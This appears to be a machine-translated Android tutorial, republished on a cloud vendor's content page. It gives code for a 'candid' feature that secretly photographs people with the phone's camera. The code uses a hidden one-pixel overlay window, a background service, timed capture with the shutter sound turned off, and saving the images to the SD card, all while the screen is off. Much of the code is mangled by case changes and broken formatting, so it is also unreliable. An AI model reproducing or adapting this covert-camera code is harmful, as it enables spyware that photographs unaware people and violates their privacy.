Android unknowingly candid others feature realization (mobile phone off still photographed)

Source: Internet
Author: User

The previous article I wrote the Android steal feature, then you will find that there is a candid feature

The effect is as follows:

In fact, candid and steal the way the implementation is the same, are used to WindowManager to draw the principle of small desktop control. Then I won't say more ...

First, we need a surfaceview:

<?xml version="1.0" encoding="utf-8"?><LinearLayout    xmlns:android="http://schemas.android.com/apk/res/android"    android:id="@+id/small_window_layout"    android:layout_width="1dip"    android:layout_height="1dip"    >    <FrameLayout        android:id="@+id/percent"        android:layout_width="fill_parent"        android:layout_height="fill_parent"        android:gravity="center"        /></LinearLayout>

Second, then the operation is to produce this small control:

    public PhotoWindowSmallView(Context context) {        super(context);        windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);        LayoutInflater.from(context).inflate(R.layout.float_window_small, this);        View view = findViewById(R.id.small_window_layout);        viewWidth = view.getLayoutParams().width;        viewHeight = view.getLayoutParams().height;//        SurfaceView percentView = (SurfaceView) findViewById(R.id.percent);//        percentView.setText(MyWindowManager.getUsedPercentValue(context));    }    /**     * 将小悬浮窗的参数传入,用于更新小悬浮窗的位置。     *     * @param params 小悬浮窗的参数     */    public void setParams(WindowManager.LayoutParams params) {        mParams = params;    }

Third, the desktop control has, of course, the following is added to the desktop using WindowManager:

     /** * Create a small suspended window.         The initial position is the right middle position of the screen.         * * @param context must be the context for the application.            */public void Createsmallwindow (context context) {Mcontext = context;            WindowManager WindowManager = Getwindowmanager (context);            int screenwidth = Windowmanager.getdefaultdisplay (). GetWidth ();            int screenheight = Windowmanager.getdefaultdisplay (). GetHeight ();                if (Smallwindow = = null) {Smallwindow = new Photowindowsmallview (context);                    if (Smallwindowparams = = null) {smallwindowparams = new layoutparams ();                    Smallwindowparams.type = Layoutparams.type_phone;                    Smallwindowparams.format = pixelformat.rgba_8888; Smallwindowparams.flags = Layoutparams.flag_not_touch_modal |                    layoutparams.flag_not_focusable; smallwindowparams.gravity = Gravity.left |                    Gravity.top; SmalLwindowparams.width = Photowindowsmallview.viewwidth;                    Smallwindowparams.height = Photowindowsmallview.viewheight;                    Smallwindowparams.x = ScreenWidth;                Smallwindowparams.y = SCREENHEIGHT/2;                } smallwindow.setparams (Smallwindowparams);                Windowmanager.addview (Smallwindow, smallwindowparams);            Msurfaceview = (framelayout) Smallwindow.findviewbyid (r.id.percent);         }}/** * Remove the small hover window from the screen.         * * @param context must be the context for the application. */public void Removesmallwindow (context context) {if (Smallwindow! = null) {Windowmana                Ger WindowManager = Getwindowmanager (context);                Windowmanager.removeview (Smallwindow);            Smallwindow = null; }        }

Four, this time we need surfaceview, then, how to operate in the background? Naturally, I thought of the service.

To perform the operation of a desktop control in a service:

 @Override    public int onStartCommand(Intent intent, int flags, int startId) {        myWindowManager = new MyPhotoWindowManager();        createWindow();        return super.onStartCommand(intent, flags, startId);    }    @Override    public void onDestroy() {        super.onDestroy();    }    private void createWindow() {        // 当前界面是桌面,且没有悬浮窗显示,则创建悬浮窗。        myWindowManager.removeSmallWindow(getApplicationContext());        myWindowManager.createSmallWindow(getApplicationContext());    }

V. To bind the service in the activity, take a picture of the operation

 private class MyServiceConn implements ServiceConnection {        @Override        public void onServiceConnected(ComponentName name, IBinder service) {            // TODO Auto-generated method stub            binder = (PhotoWindowService.myServiceBinder) service;            if (isVedio) {                binder.startCarema();            } else {                binder.stopCarema();            }        }        @Override        public void onServiceDisconnected(ComponentName name) {            // TODO Auto-generated method stub        }    }

Vi. controlling the start and end of photos in Mywindowmanager in the service

   public class myServiceBinder extends Binder {        public void startCarema() {            myWindowManager.startCarema();        }        public void stopCarema() {            myWindowManager.stopCarema();        }    }

Vii. opening or terminating the photo operation at Myphotowindowmanager

  public void startCarema() {        itt = InitTimetoTakePic.getInstance(mContext);        itt.initView(mSurfaceview);        itt.start();    }    public void stopCarema() {        if (itt != null)            itt.releaseCarema();    }

Viii. the related processing of photographing in inittimetotakepic

Package Com.ddv.www.candidphotodemo;import Android.annotation.targetapi;import Android.app.activity;import Android.content.context;import Android.content.intent;import Android.content.pm.packagemanager;import Android.hardware.camera;import Android.hardware.camera.autofocuscallback;import Android.hardware.camera.picturecallback;import Android.os.build;import Android.os.handler;import Android.os.message;import android.widget.framelayout;import Java.io.file;import java.io.FileOutputStream;/** * Set timed camera function * * @author <p> * Create timed Photo task * Cameratype Camera * resolutionstring Resolution * TVSA   Velocation Save Address * etextension Expand name * Camerastart, start shooting time * cameranumber, number of shots * camerastop    Shoot number */public class Inittimetotakepic {private static inittimetotakepic minstance;    private static int cameratype = 1;    Context Mcontext;    Static Framelayout Msurfaceviewframe;    private static Camera Mcamera; private static Camerapreview MpreView    private static String resolutionstring = "1920x1080";    private static String SaveLocation = Apputils.getsdcardpath ();    private static String Extension = "JPG";    private static String Camerastart = "1";    private static String Cameranumber = "1";    private static String Camerastop = "10";    private static int number = 0;    private static Boolean clearvoice = false;    Private Intent Intent;    Private Inittimetotakepic (Context context) {This.mcontext = context;        } public synchronized static Inittimetotakepic getinstance (context context) {minstance = null;        Minstance = new Inittimetotakepic (context);    return minstance;    } public void Initview (Framelayout surfaceviewframe) {msurfaceviewframe = Surfaceviewframe; }/** * Start timed photo and upload function */Handler Mhandler = new Handler () {@Override public void handlemessage ( Message msg) {switch (msg.what) {case 1:loguTILS.V ("Start taking photos");                    Initcarema ();                Break                        Case 2:if (Mcamera = = null) {Releasecarema ();                        Number = 0;                    Mhandler.removecallbacksandmessages (NULL); } else {if (number < integer.valueof (camerastop)) {MCAMERA.AUTOFOCU S (new Autofocuscallback () {@Override public void ONAUTOFOCU S (Boolean success, Camera camera) {//capture picture from camera L                                    OGUTILS.V ("Auto Focus 111" + success);                                        try {mcamera.takepicture (null, NULL, mpicture);                                    Mhandler.sendemptymessagedelayed (1, integer.valueof (cameranumber) * 1000);       } catch (Exception e) {                                 Releasecarema ();                                    Mhandler.removecallbacksandmessages (NULL);                        }                                }                            });                            } else {Releasecarema ();                            Number = 0;                        Mhandler.removecallbacksandmessages (NULL);            }} break;    }        }    };  public void Start () {mhandler.sendemptymessagedelayed (1, 1 *); start camera after//7s} private void Initcarema ()        {logutils.v ("Initcarema");            if (Mcamera = = null) {LOGUTILS.V ("camera=null");            Mcamera = Getcamerainstance ();            Mpreview = new Camerapreview (Mcontext, Mcamera);            Msurfaceviewframe.removeallviews ();        Msurfaceviewframe.addview (Mpreview); } logutils.v (Mcamera = = null?) "Mcamera is Null ":" Mcamera is not null ");        Mcamera.startpreview (); Mhandler.sendemptymessagedelayed (2, integer.valueof (camerastart) * 1000); 3s after photo}/** * Detects if the device exists camera hardware */Private Boolean Checkcamerahardware (context context) {if (con Text.getpackagemanager (). Hassystemfeature (Packagemanager.feature_camera)) {//Presence RE        Turn true;        } else {//There is no return false; }}/** * Open a camera */@TargetApi (build.version_codes.        JELLY_BEAN_MR1) public static camera Getcamerainstance () {camera c = null;            try {c = camera.open (Cameratype);            C.setdisplayorientation (90);            Camera.parameters mparameters = C.getparameters ();            Shutter sound c.enableshuttersound (clearvoice);            Can be used to get the currently supported photo size, then//list<size> ms = Mparameters.getsupportedpicturesizes (); Mparameters.setpicturesize (Ms.get (0). WIdth, Ms.get (0). height);            Default maximum photo Capture maximum resolution string[] Xes = Resolutionstring.split ("x");            Logutils.i ("ms.get (0) .width==>" +ms.get (0). width);            Logutils.i ("ms.get (0) .height==>" +ms.get (0). height);            Logutils.i ("integer.valueof (xes[0) ==>" +integer.valueof (Xes[0]));            Logutils.i ("integer.valueof (xes[1) ==>" +integer.valueof (Xes[1]));  Mparameters.setpicturesize (Integer.valueof (Xes[0]), integer.valueof (xes[1]));        Default maximum photo c.setparameters (mparameters) for maximum resolution;        } catch (Exception e) {logutils.v ("Failed to open camera failed");    } return C; } private Picturecallback mpicture = new Picturecallback () {@Override public void Onpicturetaken (byte[]            data, Camera camera) {//Get JPEG picture and save on SD card String path = SaveLocation;            File DIRF = new file (path);            if (!dirf.exists ()) {dirf.mkdirs (); } File PICTUrefile = new File (path + "/" + system.currenttimemillis () + "." + extension);//extension try {Fileou                Tputstream fos = new FileOutputStream (picturefile);                Fos.write (data);                Fos.close ();                LOGUTILS.V ("Save diagram Success");                number++;                Intent = new Intent ();                Intent.setaction ("Camerafragment.start");                Intent.putextra ("number", number);            Mcontext.sendbroadcast (Intent);                } catch (Exception e) {logutils.v ("Save picture Failed");            E.printstacktrace ();        } releasecarema ();    }    };            public void Releasecarema () {if (Mcamera! = null) {Mcamera.stoppreview ();            Mcamera.release ();        Mcamera = null; }    }}

demo:http://download.csdn.net/download/huangxiaoguo1/9711899

What is the shortage, hope everyone advice, thank you ....

Android unknowingly candid others feature realization (mobile phone off still photographed)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.